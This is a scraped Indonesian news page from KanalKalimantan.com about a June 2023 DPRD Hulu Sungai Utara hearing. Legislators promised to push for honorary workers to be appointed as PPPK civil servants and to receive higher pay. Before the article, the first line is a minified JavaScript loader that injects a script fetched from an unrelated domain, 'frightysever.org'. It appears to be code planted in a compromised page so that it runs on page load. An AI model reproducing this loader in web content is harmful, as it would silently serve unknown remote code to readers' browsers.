(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Dewan Perwakilan Rakyat Daerah (DPRD) Hulu Sungai Utara (HSU) memastikan beberapa harapan tenaga honorer di lingkungan Pemerintah Kabupaten HSU terakomodir.
Pernyataan itu disampaikan Komisi II DPRD HSU, saat menggelar audiensi dengar pendapat bersama Forum Honorer HSU di ruang rapat DPRD HSU, Kamis (8/6/2023).
Ketua Komisi II DPRD HSU H Fadillah mengungkapkan, pihaknya saat ini menyoroti persoalan 1.358 tenaga honorer di lingkungan Pemkab HSU, terkait langkah pemerintah melalui Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi atau Kemen PANRB soal tenaga honorer menjadi ASN Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) ini.
Dirinya memastikan DPRD HSU siap memperjuangkan tuntutan dan harapan tenaga honorer, diantaranya terkait pengangkatan tenaga honorer menjadi ASN-PPPK dan adanya kenaikan gaji atau insentif bagi para honorer.
Baca juga: Program Daurah Ilmiah ke Tarim-Makkah-Madinah, 103 Tokoh Agama Balangan Siap Dikirim
“Tidak hanya tenaga honorer Dinas Pendidikan dan di Dinas Kesehatan saja, kita juga memperjuangkan kawan-kawan honorer yang ada di lingkungan Pemkab HSU,” imbuhnya.
Anggota Komisi II DPRD HSU, Junaidi menyebut peranan tenaga honorer sangat berpengaruh terhadap jalannya roda pemerintahan.
Karenanya, dia memastikan Komisi II DPR RI telah meminta kementerian sebelum tanggal 28 Nopember 2023 permasalahan honorer sudah selesai dan diharapkan diangkat menjadi PPPK.
“Kita juga berusaha agar ada kenaikan insentif tenaga honorer nantinya, harapnya sesuai UMR atau UMK,” kata Junaidi.
Selain itu, menyusul bakal dibukanya formasi perekrutan PPPK tenaga kesehatan dan pendidikan atau guru, ia juga menyebut DPRD HSU telah mengusulkan kepada Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) HSU sebanyak 100 orang untuk tenaga teknis yang mana awalnya hanya sekitar 36 orang.
Baca juga: Antrean Panjang Pemotor di Penyeberangan Dermaga Sanggam, Pemkab Tak Siap Antisipasi
Sementara itu, Ketua Forum Honorer HSU Ahmad Ismail berharap semua tuntutan yang disampaikan dan diperjuangkan DPRD nantinya dapat membuahkan hasil.
Di antara harapan tersebut, sebut Ismail, yakni tenaga honorer yang sudah ada dipertahankan, serta kesejahteraannya dapat ditingkatkan.
“Kami berharap para honorer nantinya menjadi prioritas minimal menjadi PPPK, karena banyak teman-teman kami yang belasan tahun mengabdi tanpa ada kepastian,” ungkapnya. (Kanalkalimanatan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.